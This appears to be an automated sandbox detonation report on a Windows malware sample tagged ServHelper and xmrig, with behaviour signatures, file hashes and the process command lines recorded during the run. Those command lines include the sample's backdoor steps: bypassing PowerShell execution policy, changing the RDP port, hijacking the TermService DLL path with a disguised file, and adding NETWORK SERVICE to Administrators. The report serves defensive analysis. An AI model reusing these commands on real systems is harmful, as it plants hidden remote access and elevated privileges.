Analysis Overview
SHA256
5d45cef43fb4c150c33337fb369a89800f9d235eee1dbdac13a8f6fd13bc1ee4
Threat Level: Known bad
The file 608b93e344bd3dbb09d0af9da6856061 was found to be: Known bad.
Malicious Activity Summary
xmrig
ServHelper
Grants admin privileges
Sets DLL path for service in the registry
Modifies RDP port number used by Windows
Drops file in System32 directory
Drops file in Windows directory
Modifies registry key
Runs net.exe
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious behavior: LoadsDriver
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-09-14 13:23
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2021-09-14 13:23
Reported
2021-09-14 13:25
Platform
win7-en
Max time kernel
137s
Max time network
139s
Command Line
Signatures
Processes
C:\Users\Admin\AppData\Local\Temp\608b93e344bd3dbb09d0af9da6856061.exe
"C:\Users\Admin\AppData\Local\Temp\608b93e344bd3dbb09d0af9da6856061.exe"
Network
Files
Analysis: behavioral2
Detonation Overview
Submitted
2021-09-14 13:23
Reported
2021-09-14 13:25
Platform
win10-en
Max time kernel
84s
Max time network
149s
Command Line
Signatures
ServHelper
xmrig
Grants admin privileges
Modifies RDP port number used by Windows
Sets DLL path for service in the registry
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\SysWOW64\rdpclip.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\branding\wupsvc.jpg | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\branding\Basebrd | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\branding\ShellBrd | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\branding\mediasrv.png | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\branding\mediasvc.png | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\branding\wupsvc.jpg | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Windows\branding\mediasrv.png | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Windows\branding\mediasvc.png | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Runs net.exe
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: LoadsDriver
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\608b93e344bd3dbb09d0af9da6856061.exe
"C:\Users\Admin\AppData\Local\Temp\608b93e344bd3dbb09d0af9da6856061.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pgf2ogpo\pgf2ogpo.cmdline"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES555.tmp" "c:\Users\Admin\AppData\Local\Temp\pgf2ogpo\CSC7C53E3D0A2E74C089B16F1D5B1486D26.TMP"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
C:\Windows\SysWOW64\cmd.exe
cmd /c net start rdpdr
C:\Windows\SysWOW64\net.exe
net start rdpdr
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start rdpdr
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
C:\Windows\SysWOW64\cmd.exe
cmd /c net start TermService
C:\Windows\SysWOW64\net.exe
net start TermService
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
Network
Files
memory/1612-115-0x0000000001670000-0x0000000001671000-memory.dmp
memory/1612-116-0x00000000058E0000-0x0000000005CDF000-memory.dmp
memory/1612-118-0x00000000061E0000-0x00000000061E1000-memory.dmp
memory/1612-119-0x0000000005E80000-0x0000000005E81000-memory.dmp
memory/1612-121-0x0000000001673000-0x0000000001674000-memory.dmp
memory/1612-120-0x0000000001672000-0x0000000001673000-memory.dmp
memory/1612-122-0x0000000001674000-0x0000000001675000-memory.dmp
memory/1612-123-0x0000000005FE0000-0x0000000005FE1000-memory.dmp
memory/1612-124-0x00000000082F0000-0x00000000082F1000-memory.dmp
memory/3644-125-0x0000000000000000-mapping.dmp
memory/3644-128-0x0000000004410000-0x0000000004411000-memory.dmp
memory/3644-129-0x0000000006F70000-0x0000000006F71000-memory.dmp
memory/3644-130-0x0000000006E90000-0x0000000006E91000-memory.dmp
memory/3644-131-0x00000000075A0000-0x00000000075A1000-memory.dmp
memory/3644-133-0x0000000007910000-0x0000000007911000-memory.dmp
memory/3644-134-0x0000000007650000-0x0000000007651000-memory.dmp
memory/3644-135-0x0000000008000000-0x0000000008001000-memory.dmp
memory/3644-136-0x0000000004870000-0x0000000004871000-memory.dmp
memory/3644-137-0x0000000004872000-0x0000000004873000-memory.dmp
memory/3644-138-0x0000000007EF0000-0x0000000007EF1000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\ready.ps1
| MD5 | 28d9755addec05c0b24cca50dfe3a92b |
| SHA1 | 7d3156f11c7a7fb60d29809caf93101de2681aa3 |
| SHA256 | abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9 |
| SHA512 | 891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42 |
memory/3644-144-0x0000000009600000-0x0000000009601000-memory.dmp
memory/3644-145-0x0000000008C60000-0x0000000008C61000-memory.dmp
memory/3780-146-0x0000000000000000-mapping.dmp
\??\c:\Users\Admin\AppData\Local\Temp\pgf2ogpo\pgf2ogpo.cmdline
| MD5 | d310e6793a5986bb7afaa38651449759 |
| SHA1 | 32318bee3e00c14a91f04879ccec80a929ba0666 |
| SHA256 | 8154cfbfcf3c5dfe52917784d34f8793f5144895ab275306d7c61f2845c71146 |
| SHA512 | 364adde8d952bc68f1e6f8ec42a03b1eb4c209b8261a77e2f3391501650dc832870a5d616112eed5f695f93027f84fda88788c2788754f49a0b4f1dd8874ba6b |
\??\c:\Users\Admin\AppData\Local\Temp\pgf2ogpo\pgf2ogpo.0.cs
| MD5 | 9f8ab7eb0ab21443a2fe06dab341510e |
| SHA1 | 2b88b3116a79e48bab7114e18c9b9674e8a52165 |
| SHA256 | e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9 |
| SHA512 | 53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b |
memory/1644-149-0x0000000000000000-mapping.dmp
\??\c:\Users\Admin\AppData\Local\Temp\pgf2ogpo\CSC7C53E3D0A2E74C089B16F1D5B1486D26.TMP
| MD5 | 381da61b5528ee653dbf6b3b575121d4 |
| SHA1 | 9dd21bc284067bb025c954ed8a16f2d85f1d0ace |
| SHA256 | 30120c31a8b1bd5f018e67a9668c87111095c922eefafa92d9818f0fee46d064 |
| SHA512 | 9adfbba2803991a07400558d39b3b24a8078fe53c4d326cfbddc111d7096fe57bc725913a126a3cc4a1e7138b0287e4079baf585afcb7b8cd39e28468f37d7ad |
C:\Users\Admin\AppData\Local\Temp\RES555.tmp
| MD5 | 29619ffceaf3d3cd68afbfd7c08c4183 |
| SHA1 | 75c8c0aa4330a9cea177dd5f81495c138dcbe0b7 |
| SHA256 | b231535bc203b694e81c4c7444d22daee64dcb8f601b18babe8992022781ba2d |
| SHA512 | 9525dbda36ca6805ee94027bbaa661e023a018da02b492d929fdb75e1bc2e405144c7a46c82bf6e6e150bdb09b2b80a1ad636ca0e754752974dd6b0bfb3979f6 |
C:\Users\Admin\AppData\Local\Temp\pgf2ogpo\pgf2ogpo.dll
| MD5 | 7c129454ab18fdeab20f058b08c7cfd4 |
| SHA1 | 520508ab96d7861305168b05e31d6350a8f0f731 |
| SHA256 | 4fca19ce79af84827c7f5df6d9cb2cc44adfd4f8d32f3f6dc8c3ef7c7f88c942 |
| SHA512 | 0d1ec845a95a68b28bffc3853bb89fab2bee35b94f9669846bc1990c8688d8cec650e3644513232bf608c8ee89436d73be76bc058de7f97ddf06d06825cd7246 |
memory/3644-153-0x0000000008D00000-0x0000000008D01000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1
| MD5 | 794bf0ae26a7efb0c516cf4a7692c501 |
| SHA1 | c8f81d0ddd4d360dcbe0814a04a86748f99c6ff2 |
| SHA256 | 97753653d52aaa961e4d1364b5b43551c76da9bb19e12f741bd67c986259e825 |
| SHA512 | 20c97972a1256375157f82a859ce4936613fe109d54c63bbec25734edc3a567ca976b342a21ef5f25571b3c1959afe618ad9f9f17a817cfd731d1504541b1a75 |
memory/3644-155-0x0000000004873000-0x0000000004874000-memory.dmp
memory/3644-176-0x0000000009060000-0x0000000009061000-memory.dmp
memory/3880-177-0x0000000000000000-mapping.dmp
memory/3880-186-0x0000000007500000-0x0000000007501000-memory.dmp
memory/3880-187-0x0000000007502000-0x0000000007503000-memory.dmp
memory/3880-198-0x0000000009240000-0x0000000009273000-memory.dmp
memory/3880-206-0x0000000009220000-0x0000000009221000-memory.dmp
memory/3880-211-0x0000000009370000-0x0000000009371000-memory.dmp
memory/3880-212-0x000000007E590000-0x000000007E591000-memory.dmp
memory/3880-213-0x0000000009520000-0x0000000009521000-memory.dmp
memory/3880-406-0x00000000094C0000-0x00000000094C1000-memory.dmp
memory/3880-412-0x00000000094B0000-0x00000000094B1000-memory.dmp
memory/2004-432-0x0000000000000000-mapping.dmp
memory/2004-439-0x0000000004DB0000-0x0000000004DB1000-memory.dmp
memory/2004-441-0x0000000004DB2000-0x0000000004DB3000-memory.dmp
memory/2004-536-0x000000007E210000-0x000000007E211000-memory.dmp
memory/496-683-0x0000000000000000-mapping.dmp
memory/496-697-0x00000000070D2000-0x00000000070D3000-memory.dmp
memory/496-696-0x00000000070D0000-0x00000000070D1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | f3068198b62b4b70404ec46694d632be |
| SHA1 | 7b0b31ae227cf2a78cb751573a9d07f755104ea0 |
| SHA256 | bd0fab28319be50795bd6aa9692742ba12539b136036acce2e0403f10a779fc8 |
| SHA512 | ef285a93898a9436219540f247beb52da69242d05069b3f50d1761bb956ebb8468aeaeadcb87dd7a09f5039c479a31f313c83c4a63c2b2f789f1fe55b4fa9795 |
memory/496-792-0x000000007ECE0000-0x000000007ECE1000-memory.dmp
memory/2312-962-0x0000000000000000-mapping.dmp
memory/3904-963-0x0000000000000000-mapping.dmp
memory/2552-964-0x0000000000000000-mapping.dmp
memory/1908-1001-0x0000000000000000-mapping.dmp
memory/3652-1002-0x0000000000000000-mapping.dmp
memory/2496-1005-0x0000000000000000-mapping.dmp
memory/2620-1006-0x0000000000000000-mapping.dmp
memory/3880-1007-0x0000000000000000-mapping.dmp
memory/2892-1008-0x0000000000000000-mapping.dmp
memory/3120-1009-0x0000000000000000-mapping.dmp
memory/4024-1010-0x0000000000000000-mapping.dmp
memory/4028-1011-0x0000000000000000-mapping.dmp
memory/3328-1012-0x0000000000000000-mapping.dmp
memory/1688-1025-0x0000000000000000-mapping.dmp
memory/1828-1026-0x0000000000000000-mapping.dmp
memory/3644-1058-0x000000007F070000-0x000000007F071000-memory.dmp